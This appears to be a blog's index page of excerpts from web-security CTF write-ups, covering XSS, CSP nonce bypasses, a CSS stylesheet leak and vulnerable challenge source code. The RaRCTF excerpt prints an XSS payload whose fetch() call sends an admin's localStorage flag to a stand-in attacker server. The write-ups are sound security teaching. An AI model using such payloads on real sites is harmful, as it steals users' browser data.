JavaScript Sandboxes: Antipattern Review

Because the internet runs on JavaScript, and JavaScript is famously known as a language held together with paper clips and rubber bands, the topic of proper sandboxing and safe JS execution became a pretty popular discussion in the security community. I wanted to explore some small and common gotchas that I’ve seen in recent times regarding JS sandboxes, including and based off of a real-world example I saw at work. ...

Jul 24, 2026 · 2507 words · Vie

ASIS Quals 2021: Lovely Nonce

Lovely Nonces is a challenge from ASIS Quals 2021, involving interesting CSP bypasses and stylesheet leaks. My teammate Ming and I solved this challenge together, and a copy of the writeup (with the index.html file used in the exploit) can be found in the UBC CTF blog. TL;DR CSS attribute selectors for a stylesheet leak of the CSP nonce combined with XSS. Recon The CSP is implemented via a meta-tag in the DOM, and not through response header as is usually the common practise. It’s just one directive, script-src, with the randomly generated nonce value, which we can try to retrieve. ...

Oct 24, 2021 · 785 words · Vie

RaRCTF2021: Some simpler web probz

Fancy Button Generator // FBG A simple xss challenge with the slightest of twists: instead of stealing admin cookies, you’re stealing admin’s localstorage values. This was possible because the admin, which was a puppetteer chrome browser, was operating in no-sandbox mode. Insert as your payload: title: eh link: javascript:fetch('your.server?fleg='%2B(window.localStorage.getItem("flag"))); And report to admin. Careful with the wait times… NOTE: I first-blooded this challenge before certain measures were implemented. There were some issues with FBG throughout the competition that involved the organizers making amendments and introducing a pow to help with the stability of the infrastructure. I’m not aware of how the solution would have looked with the accompanying pow, unfortunately. ...

Aug 9, 2021 · 950 words · Vie

DiceCTF 2021

Babier CSP The challenge takes after justCTF’s similarly named challenge. We’re given an index.js file: const express = require('express'); const crypto = require("crypto"); const config = require("./config.js"); const app = express() const port = process.env.port || 3000; const SECRET = config.secret; const NONCE = crypto.randomBytes(16).toString('base64'); const template = name => ` <html> ${name === '' ? '': `<h1>${name}</h1>`} <a href='#' id=elem>View Fruit</a> <script nonce=${NONCE}> elem.onclick = () => { location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]); } </script> </html> `; app.get('/', (req, res) => { res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`); res.send(template(req.query.name || "")); }) app.use('/' + SECRET, express.static(__dirname + "/secret")); app.listen(port, () => { console.log(`Example app listening at http://localhost:${port}`) }) The main difference between Dice’s challenge and justCatTheFish’s is the hashing of the NONCE value. When this script is executed, it sets the NONCE value once, and it doesn’t change values once this server is running. ...

Feb 7, 2021 · 2261 words · Vie

justCTF[*] 2020 - A Collection of Web Problems

This last weekend was justCTF 2020 (delayed last year so it was held this year :P), held by justCatTheFish. Although I was focused between this and some other work, I was able to look through a few of the web challenges and will document them here. Forgotten Name I found this on a total fluke. I wasn’t paying attention to the challenge much but the description was compelling: I’m hesitant to attempt to nmap all known domains of justCatTheFish’s network, and so instead thought about the nature of their subdomains. Every other challenge that required accessing a server was suffixed with the subdomain *.jctf.pro. I decided to search through certificate transparency logs with that subdomain to see what would come up, and a certain URL caught my eye: 6a7573744354467b633372545f6c34616b735f6f3070737d.web.jctf.pro/. It had the correct beginning characters and it ended in jctf.pro, and visiting it we see a small message: “OH! You found it! Thank you <3”. ...

Jan 31, 2021 · 1330 words · Vie

GoogleCTF 2020: Pasteurize

This is the first challenge I worked on. I will soon upload a post on the second one. I completed this challenge with the help of my team mentor! Let’s Begin! The challenge lets us load into the DOM whatever we want through this pastebin-esque function. When you make a note, you have an option to share it with a “TjMike” Entity. Sign of XSS/CSRF attacks? _My input, "uwu", is shoved into a javascript string variable called 'note'. Further down we see a_ ``const clean`` _variable that calls DOMpurify to sanitize our input._ Looking into the HTML, whatever content we put into the note is immediately shoved into a javascript string. However, if you try to input quotation marks in there, the DOMpurify clean function escapes it. So, if we can get an unescaped quote in there, we can do whatever we want. Let’s focus on the comment. ...

Aug 23, 2020 · 378 words · Vie

RedPwnCTF 2020

RedPwnCTF 2020 is a beginner to intermediate CTF that’s accessible to high school and college students. The CTF featured a range of easy to harder problems, which provided both a good introduction into CTFs and an opportunity to stretch your pre-established skills. I solved through a good portion of the web problems, and will document a few of the ones here. Let’s Begin! The problems are in no way ordered in terms of difficulty. ...

Jun 25, 2020 · 1139 words · Vie

DE1ctf 2020: Hard_Pentest_1 and Animal Crossing

The intersection of web-based challenges and other challenges should be expected to be seen in CTFs, but yet still I’m always surprised when I see it in action. ...

May 7, 2020 · 1805 words · Jamvie

CONfidence 2020: CatWeb

I participated in CONfidence CTF 2020 teasers in March of this year. I was focusing mainly on this problem, and it really helped me broaden my skills in JSON-related attacks! I have never seen many JSON injections before this, so this was welcome practise. ...

Apr 23, 2020 · 611 words · JamVie